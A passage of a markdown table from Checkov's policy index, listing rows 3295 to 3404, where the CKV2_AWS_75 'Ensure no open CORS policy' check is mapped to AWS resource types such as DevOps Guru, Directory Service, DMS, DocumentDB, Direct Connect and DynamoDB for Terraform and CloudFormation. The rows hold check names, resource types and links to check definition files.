CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3295 | CKV2_AWS_75 | resource | aws_devopsguru_event_sources_config | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3296 | CKV2_AWS_75 | resource | aws_devopsguru_event_sources_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3297 | CKV2_AWS_75 | resource | aws_devopsguru_notification_channel | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3298 | CKV2_AWS_75 | resource | aws_devopsguru_notification_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3299 | CKV2_AWS_75 | resource | aws_devopsguru_resource_collection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3300 | CKV2_AWS_75 | resource | aws_devopsguru_resource_collection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3301 | CKV2_AWS_75 | resource | aws_devopsguru_service_integration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3302 | CKV2_AWS_75 | resource | aws_devopsguru_service_integration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3303 | CKV2_AWS_75 | resource | aws_directory_service_conditional_forwarder | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3304 | CKV2_AWS_75 | resource | aws_directory_service_conditional_forwarder | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3305 | CKV2_AWS_75 | resource | aws_directory_service_directory | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3306 | CKV2_AWS_75 | resource | aws_directory_service_directory | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3307 | CKV2_AWS_75 | resource | aws_directory_service_log_subscription | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3308 | CKV2_AWS_75 | resource | aws_directory_service_log_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3309 | CKV2_AWS_75 | resource | aws_directory_service_radius_settings | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3310 | CKV2_AWS_75 | resource | aws_directory_service_radius_settings | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3311 | CKV2_AWS_75 | resource | aws_directory_service_region | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3312 | CKV2_AWS_75 | resource | aws_directory_service_region | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3313 | CKV2_AWS_75 | resource | aws_directory_service_shared_directory | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3314 | CKV2_AWS_75 | resource | aws_directory_service_shared_directory | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3315 | CKV2_AWS_75 | resource | aws_directory_service_shared_directory_accepter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3316 | CKV2_AWS_75 | resource | aws_directory_service_shared_directory_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3317 | CKV2_AWS_75 | resource | aws_directory_service_trust | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3318 | CKV2_AWS_75 | resource | aws_directory_service_trust | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3319 | CKV2_AWS_75 | resource | aws_dlm_lifecycle_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3320 | CKV2_AWS_75 | resource | aws_dlm_lifecycle_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3321 | CKV2_AWS_75 | resource | aws_dms_certificate | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3322 | CKV2_AWS_75 | resource | aws_dms_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3323 | CKV2_AWS_75 | resource | aws_dms_endpoint | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3324 | CKV2_AWS_75 | resource | aws_dms_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3325 | CKV2_AWS_75 | resource | aws_dms_event_subscription | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3326 | CKV2_AWS_75 | resource | aws_dms_event_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3327 | CKV2_AWS_75 | resource | aws_dms_replication_config | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3328 | CKV2_AWS_75 | resource | aws_dms_replication_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3329 | CKV2_AWS_75 | resource | aws_dms_replication_instance | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3330 | CKV2_AWS_75 | resource | aws_dms_replication_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3331 | CKV2_AWS_75 | resource | aws_dms_replication_subnet_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3332 | CKV2_AWS_75 | resource | aws_dms_replication_subnet_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3333 | CKV2_AWS_75 | resource | aws_dms_replication_task | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3334 | CKV2_AWS_75 | resource | aws_dms_replication_task | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3335 | CKV2_AWS_75 | resource | aws_dms_s3_endpoint | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3336 | CKV2_AWS_75 | resource | aws_dms_s3_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3337 | CKV2_AWS_75 | resource | aws_docdb_cluster | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3338 | CKV2_AWS_75 | resource | aws_docdb_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3339 | CKV2_AWS_75 | resource | aws_docdb_cluster_instance | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3340 | CKV2_AWS_75 | resource | aws_docdb_cluster_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3341 | CKV2_AWS_75 | resource | aws_docdb_cluster_parameter_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3342 | CKV2_AWS_75 | resource | aws_docdb_cluster_parameter_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3343 | CKV2_AWS_75 | resource | aws_docdb_cluster_snapshot | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3344 | CKV2_AWS_75 | resource | aws_docdb_cluster_snapshot | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3345 | CKV2_AWS_75 | resource | aws_docdb_event_subscription | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3346 | CKV2_AWS_75 | resource | aws_docdb_event_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3347 | CKV2_AWS_75 | resource | aws_docdb_global_cluster | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3348 | CKV2_AWS_75 | resource | aws_docdb_global_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3349 | CKV2_AWS_75 | resource | aws_docdb_subnet_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3350 | CKV2_AWS_75 | resource | aws_docdb_subnet_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3351 | CKV2_AWS_75 | resource | aws_docdbelastic_cluster | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3352 | CKV2_AWS_75 | resource | aws_docdbelastic_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3353 | CKV2_AWS_75 | resource | aws_drs_replication_configuration_template | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3354 | CKV2_AWS_75 | resource | aws_drs_replication_configuration_template | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3355 | CKV2_AWS_75 | resource | aws_dx_bgp_peer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3356 | CKV2_AWS_75 | resource | aws_dx_bgp_peer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3357 | CKV2_AWS_75 | resource | aws_dx_connection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3358 | CKV2_AWS_75 | resource | aws_dx_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3359 | CKV2_AWS_75 | resource | aws_dx_connection_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3360 | CKV2_AWS_75 | resource | aws_dx_connection_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3361 | CKV2_AWS_75 | resource | aws_dx_connection_confirmation | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3362 | CKV2_AWS_75 | resource | aws_dx_connection_confirmation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3363 | CKV2_AWS_75 | resource | aws_dx_gateway | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3364 | CKV2_AWS_75 | resource | aws_dx_gateway | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3365 | CKV2_AWS_75 | resource | aws_dx_gateway_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3366 | CKV2_AWS_75 | resource | aws_dx_gateway_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3367 | CKV2_AWS_75 | resource | aws_dx_gateway_association_proposal | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3368 | CKV2_AWS_75 | resource | aws_dx_gateway_association_proposal | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3369 | CKV2_AWS_75 | resource | aws_dx_hosted_connection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3370 | CKV2_AWS_75 | resource | aws_dx_hosted_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3371 | CKV2_AWS_75 | resource | aws_dx_hosted_private_virtual_interface | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3372 | CKV2_AWS_75 | resource | aws_dx_hosted_private_virtual_interface | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3373 | CKV2_AWS_75 | resource | aws_dx_hosted_private_virtual_interface_accepter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3374 | CKV2_AWS_75 | resource | aws_dx_hosted_private_virtual_interface_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3375 | CKV2_AWS_75 | resource | aws_dx_hosted_public_virtual_interface | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3376 | CKV2_AWS_75 | resource | aws_dx_hosted_public_virtual_interface | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3377 | CKV2_AWS_75 | resource | aws_dx_hosted_public_virtual_interface_accepter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3378 | CKV2_AWS_75 | resource | aws_dx_hosted_public_virtual_interface_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3379 | CKV2_AWS_75 | resource | aws_dx_hosted_transit_virtual_interface | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3380 | CKV2_AWS_75 | resource | aws_dx_hosted_transit_virtual_interface | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3381 | CKV2_AWS_75 | resource | aws_dx_hosted_transit_virtual_interface_accepter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3382 | CKV2_AWS_75 | resource | aws_dx_hosted_transit_virtual_interface_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3383 | CKV2_AWS_75 | resource | aws_dx_lag | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3384 | CKV2_AWS_75 | resource | aws_dx_lag | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3385 | CKV2_AWS_75 | resource | aws_dx_macsec_key_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3386 | CKV2_AWS_75 | resource | aws_dx_macsec_key_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3387 | CKV2_AWS_75 | resource | aws_dx_private_virtual_interface | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3388 | CKV2_AWS_75 | resource | aws_dx_private_virtual_interface | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3389 | CKV2_AWS_75 | resource | aws_dx_public_virtual_interface | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3390 | CKV2_AWS_75 | resource | aws_dx_public_virtual_interface | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3391 | CKV2_AWS_75 | resource | aws_dx_transit_virtual_interface | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3392 | CKV2_AWS_75 | resource | aws_dx_transit_virtual_interface | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3393 | CKV2_AWS_75 | resource | aws_dynamodb_contributor_insights | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3394 | CKV2_AWS_75 | resource | aws_dynamodb_contributor_insights | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3395 | CKV2_AWS_75 | resource | aws_dynamodb_global_table | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3396 | CKV2_AWS_75 | resource | aws_dynamodb_global_table | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3397 | CKV2_AWS_75 | resource | aws_dynamodb_kinesis_streaming_destination | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3398 | CKV2_AWS_75 | resource | aws_dynamodb_kinesis_streaming_destination | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3399 | CKV2_AWS_75 | resource | aws_dynamodb_resource_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3400 | CKV2_AWS_75 | resource | aws_dynamodb_resource_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3401 | CKV2_AWS_75 | resource | aws_dynamodb_table | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3402 | CKV2_AWS_75 | resource | aws_dynamodb_table | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3403 | CKV2_AWS_75 | resource | aws_dynamodb_table_export | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3404 | CKV2_AWS_75 | resource | aws_dynamodb_table_export | Ensure no open CORS policy | Cloudformation | 